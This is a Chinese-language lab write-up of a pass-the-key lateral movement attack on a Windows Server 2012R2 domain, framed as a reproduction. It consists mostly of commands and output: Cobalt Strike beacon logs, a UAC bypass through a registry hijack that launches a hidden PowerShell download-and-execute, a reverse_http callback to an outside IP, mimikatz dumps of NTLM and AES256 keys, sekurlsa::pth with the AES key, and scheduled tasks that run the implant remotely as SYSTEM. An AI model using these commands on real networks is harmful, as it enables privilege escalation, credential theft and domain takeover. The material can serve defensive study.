

pass the key 密钥传递攻击(PTK)横向攻击

PTK介绍

WinXP/2003/Vista/2008，以及未打 KB2871997 补丁之前的 Win7/2008r2/8/2012，这些环境我们都可以使用NTLM哈希传递

对于8.1/2012r2，安装补丁kb2871997的Win 7/2008r2/8/2012，可以使用AES keys代替NTLM来进行验证

什么是KB2871997

KB2871997：禁止本地管理员账户用于远程连接，这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。

这个补丁发布后常规的Pass The Hash已经无法成功，唯独默认的 Administrator (SID 500)账号例外，利用这个账号仍可以进行Pass The Hash远程连接，即使administrator修改了名字

但是还可以通过AES密钥来替代NTLM验证进行横向的操作，其实这个补丁挺鸡肋的，不用AES密钥照样也可以用NTLM，只是需要Administrator (SID 500)，都拿到机器了，Administrator还不容易吗？这个补丁唯一的好处就是减少存储在内存中的凭据数据，也就是让wdigest协议认证的凭据不会存储在lsass.exe，这样子当你dump lsass.exe的时候你就会发现，wdigest协议中的凭据你就看不到了！

实验复现

实验条件

机器名	系统	登录用户	IP
域内主机(2012-2)	windows server 2012R2	本地管理员admin	192.168.41.147
域内主机(2012-1)	windows server 2012R2	本地管理员 administrator	192.168.41.146
域控 (DC)	windows server 2012R2	域管administrator	192.168.41.10

实验前提

我们下载已经控制了2012-2主机，发现他是admin用户登录系统，通过抓取密码发现域管账号存在内存中，但是没有明文，PTH攻击也失效，这个时候采用PTK攻击

实验步骤

使用钓鱼或者其他的方式进行远控

external	internal	listener	user	computer	note	process	pid	arch	last
175.9.140.137	192.168.41.147	wanli	admin	2012-2		wanli.exe	528	x86	773...

日志X Beacon 192.168.41.147@528 X

```

beacon> sleep 1
[*] Tasked beacon to sleep for 1s
beacon> shell whoami
[*] Tasked beacon to run: whoami
[+] host called home, sent: 53 bytes
[+] received output:
2012-2\admin

```

绕过uac进行提权

external	internal	listener	user	computer	note	process	pid	arch	last
175.9.140.137	192.168.41.147	wanli	admin	2012-2		wanli.exe	528	x86	245...
175.9.140.137	192.168.41.147	wanli	admin	2012-2		powershell.exe	2908	x86	6s

日志X Beacon 192.168.41.147@528 X

```

[+] host called home, sent: 53 bytes
[+] received output:
2012-2\admin

beacon> elevate compmgmt wanli
[*] Task Beacon to run windows/beacon_http/reverse_http (118.178.134.226:8888) in a high-integrity context.
[*] Tasked beacon to run: reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden iex -c (New-Object Net.WebClient).DownloadString('http://127.0.0.1:45589/')" /f
[*] cd C:\Windows\System32
[*] Tasked beacon to run: .\CompMgmtLauncher.exe (unmanaged)
[+] host called home, sent: 2974 bytes
[+] received output:
操作成功完成。

[*] Tasked beacon to run: reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f
[+] host called home, sent: 133792 bytes
[+] received output:
操作成功完成。

beacon> elevate uac-eventvwr wanli
[*] Tasked Beacon to run windows/beacon_http/reverse_http (118.178.134.226:8888) in a high integrity context
[+] host called home, sent: 5168 bytes
[+] host called home, sent: 133705 bytes

```

抓取密码

rc4_hmac_old	5f5be6b93677e377eb6ef77a61a016b7
rc4_md4	5f5be6b93677e377eb6ef77a61a016b7
rc4_hmac_nt_exp	5f5be6b93677e377eb6ef77a61a016b7
rc4_hmac_old_exp	5f5be6b93677e377eb6ef77a61a016b7


```

Authentication Id : 0 ; 628951 (00000000:000998d7)
Session           : Interactive from 2
User Name          : administrator
Domain             : HACK
Logon Server       : DC
Logon Time         : 2022/8/23 22:18:25
SID                : S-1-5-21-2716900768-72748719-3475352185-500

* Username : administrator
* Domain   : HACK.COM
* Password : (null)
* Key List :
aes256_hmac      b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232
rc4_hmac_nt      b770f687b25fa6be274bf99a69398578
rc4_hmac_old     b770f687b25fa6be274bf99a69398578
rc4_md4          b770f687b25fa6be274bf99a69398578
rc4_hmac_nt_exp  b770f687b25fa6be274bf99a69398578
rc4_hmac_old_exp b770f687b25fa6be274bf99a69398578

```

传递key

```

sekurlsa::pth /user:administrator/domain:hack.com
/aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232

```

```

beacon> mimikatz sekurlsa:pth /user:administrator /domain:hack.com /aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232
[*] Tasked beacon to run mimikatz's sekurlsa:pth /user:administrator /domain:hack.com
/aes256:b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232 command
[+] host called home, sent: 706119 bytes
[+] received output:
user : administrator
domain : hack.com
program : cmd.exe
impers. : no
AES256 : b03fcae60f0b32a105a8082e89a09cd88a5a6c54b0a209caaa9664c6bc223232
| PID 2112
| TID 3084
| LSA Process is now R/W
| LUID 0 ; 1086535 (00000000:00109447)
\ msv1_0 - data copy @ 000000D735D71480 : OK !
\ kerberos - data copy @ 000000D735D61498
\ aes256_hmac OK
\ aes128_hmac -> null
\ rc4_hmac_nt -> null
\ rc4_hmac_old -> null
\ rc4_md4 -> null
\ rc4_hmac_nt_exp -> null
\ rc4_hmac_old_exp -> null
\ *Password replace @ 000000D735D6CCA8 (16) -> null

```

登录到机器然后执行命令上线

```

C:\Windows\system32>dir \\192.168.41.146\c$
用户名或密码不正确。

C:\Windows\system32>dir \\2012-1\c$
驱动器 \\2012-1\c$ 中的卷没有标签。
卷的序列号是 4A35-60F8

\\2012-1\c$ 的目录

2013/08/22  23:52    <DIR>          PerfLogs
2022/03/30  16:37    <DIR>          Program Files
2013/08/22  23:39    <DIR>          Program Files (x86)
2022/08/23  21:10    <DIR>          Users
2022/08/23  21:10    <DIR>          Windows
               0 个文件              0 字节
               5 个目录 15,553,257,472 可用字节

```

计划任务等等之类的

```

net use \\2012-1.hack.com
copy C:\Users\admin\Desktop\wanli.exe \\2012-1.hack.com\c$
schtasks /create /s 2012-1.hack.com /tn test /sc onstart /tr c:\wanli.exe /ru
system /f
schtasks /run /s 2012-1.hack.com /i /tn "test"

```

```

C:\Windows\system32>copy C:\Users\admin\Desktop\wanli.exe \\2012-1\C$
已复制      1 个文件。

C:\Windows\system32>schtasks /create /s 2012-1 /tn test /sc onstart /tr c:\wanli
.exe /ru system /f
错误: 拒绝访问。

C:\Windows\system32>net use 2012-1
发生系统错误 67。

找不到网络名。

C:\Windows\system32>net use \\2012-1.hack.com
命令成功完成。

C:\Windows\system32>schtasks /create /s 2012-1.hack.com /tn test /sc onstart /tr
c:\wanli.exe /ru system /f
成功: 成功创建计划任务 "test"。

C:\Windows\system32>schtasks /run /s 2012-1.hack.com /i /tn "test"
成功: 尝试运行 "test"。

```

上线成功

175.9.140.137	192.168.41.147	wanli	admin	2012-2	wanli.exe	528	x86	804...
175.9.140.137	192.168.41.147	wanli	admin *	2012-2	powershell.exe	2908	x86	605...
175.9.140.137	192.168.41.150	wanli	SYSTEM *	2012-1	wanli.exe	2320	x86	44s

日志X Beacon 192.168.41.147@2908 X